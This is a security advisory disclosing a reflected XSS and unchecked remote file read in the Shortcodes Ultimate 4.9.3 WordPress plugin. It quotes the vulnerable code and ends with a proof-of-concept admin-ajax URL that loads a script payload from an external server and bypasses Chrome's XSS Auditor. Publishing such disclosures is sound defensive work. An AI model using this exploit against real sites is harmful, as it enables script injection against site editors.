05-05-2015 / Vulnerabilities

Shortcodes Ultimate 4.9.3 Reflected XSS

Nonce token is not checked inside access().

File: shortcodes-ultimate\inc\core\tools.php

public static function access() {
	if ( !self::access_check() ) wp_die( __( 'Access denied', 'su' ) );
}
public static function access_check() {
	return current_user_can( 'edit_posts' );
}

We can read and display any external file using $_REQUEST['code'].

File: shortcodes-ultimate\inc\core\tools.php

public static function example() {
	// Check authentication
	self::access();
	// Check incoming data
	if ( !isset( $_REQUEST['code'] ) || !isset( $_REQUEST['id'] ) ) return;
	// Check for cache
	$output = get_transient( 'su/examples/render/' . sanitize_key( $_REQUEST['id'] ) );
	if ( $output && SU_ENABLE_CACHE ) echo $output;
	// Cache not found
	else {
		ob_start();
		// Prepare data
		$code = file_get_contents( sanitize_text_field( $_REQUEST['code'] ) );
		// Check for code
		if ( !$code ) die( '<p class="su-examples-error">' . __( 'Example code does not found, please check it later', 'su' ) . '</p>' );
		// Clean-up the code
		$code = str_replace( array( "\t", '%su_' ), array( '  ', su_cmpt() ), $code );
		// Split code
		$chunks = explode( '-----', $code );
		// Show snippets
		do_action( 'su/examples/preview/before' );
		foreach ( $chunks as $chunk ) {
			// Clean-up new lines
			$chunk = trim( $chunk, "\n\r" );
			// Calc textarea rows
			$rows = substr_count( $chunk, "\n" );
			$rows = ( $rows < 4 ) ? '4' : (string) ( $rows + 1 );
			$rows = ( $rows > 20 ) ? '20' : (string) ( $rows + 1 );
			echo wpautop( do_shortcode( $chunk ) );
			echo '<div style="clear:both"></div>';
			echo '<div class="su-examples-code"><span class="su-examples-get-code button"><i class="fa fa-code"></i>&nbsp;&nbsp;' . __( 'Get the code', 'su' ) . '</span><textarea rows="' . $rows . '">' . esc_textarea( $chunk ) . '</textarea></div>';
		}
		do_action( 'su/examples/preview/after' );
		$output = ob_get_contents();
		ob_end_clean();
		set_transient( 'su/examples/render/' . sanitize_key( $_REQUEST['id'] ), $output );
		echo $output;
	}
	die();
}

Proof of Concept

Put XSS payload on external server, for example:

<script>alert("XSS");</script>

XSS will be visible for user with edit_posts access when he visits this url:

http://wordpress-url/wp-admin/admin-ajax.php?action=su_example_preview&code=http://external_server/external_file.html&id=123

Because payload is stored on external server we bypass Google Chrome XSS Auditor.

Timeline

  • 23-03-2015: Discovered
  • 23-03-2015: Vendor notified
  • 24-03-2015: Version 4.9.4 released, issue resolved